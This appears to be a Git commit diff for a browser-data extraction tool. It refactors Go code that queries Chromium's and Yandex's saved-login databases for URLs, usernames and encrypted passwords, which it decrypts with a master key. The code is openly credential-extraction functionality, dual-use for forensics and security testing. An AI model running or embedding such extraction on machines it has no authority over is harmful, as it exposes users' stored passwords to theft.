feat: add Chromium Browser with new v2 architecture (#530)

* feat: add Chromium Browser implementation with new architecture
* refactor: replace Walk with ReadDir+Stat for profile discovery
* refactor: remove queries override, use extractors for Yandex passwords
* refactor: remove dataSource wrapper, use []sourcePath directly
* fix: address Copilot review feedback on chromium_new.go
* fix: always call key retriever regardless of Local State existence
This commit is contained in:
Roger
2026-04-02 22:36:12 +08:00
committed by moonD4rk
parent 1ec2781131
commit 1b8bb1df3d
9 changed files with 899 additions and 54 deletions
+11 -4
View File
@@ -11,11 +11,11 @@ import (
const defaultLoginQuery = `SELECT origin_url, username_value, password_value, date_created FROM logins`
func extractPasswords(masterKey []byte, path, query string) ([]types.LoginEntry, error) {
if query == "" {
query = defaultLoginQuery
}
func extractPasswords(masterKey []byte, path string) ([]types.LoginEntry, error) {
return extractPasswordsWithQuery(masterKey, path, defaultLoginQuery)
}
func extractPasswordsWithQuery(masterKey []byte, path, query string) ([]types.LoginEntry, error) {
logins, err := sqliteutil.QueryRows(path, false, query,
func(rows *sql.Rows) (types.LoginEntry, error) {
var url, username string
@@ -41,3 +41,10 @@ func extractPasswords(masterKey []byte, path, query string) ([]types.LoginEntry,
})
return logins, nil
}
// extractYandexPasswords extracts passwords from Yandex's Ya Passman Data,
// which stores the URL in action_url instead of origin_url.
func extractYandexPasswords(masterKey []byte, path string) ([]types.LoginEntry, error) {
const yandexLoginQuery = `SELECT action_url, username_value, password_value, date_created FROM logins`
return extractPasswordsWithQuery(masterKey, path, yandexLoginQuery)
}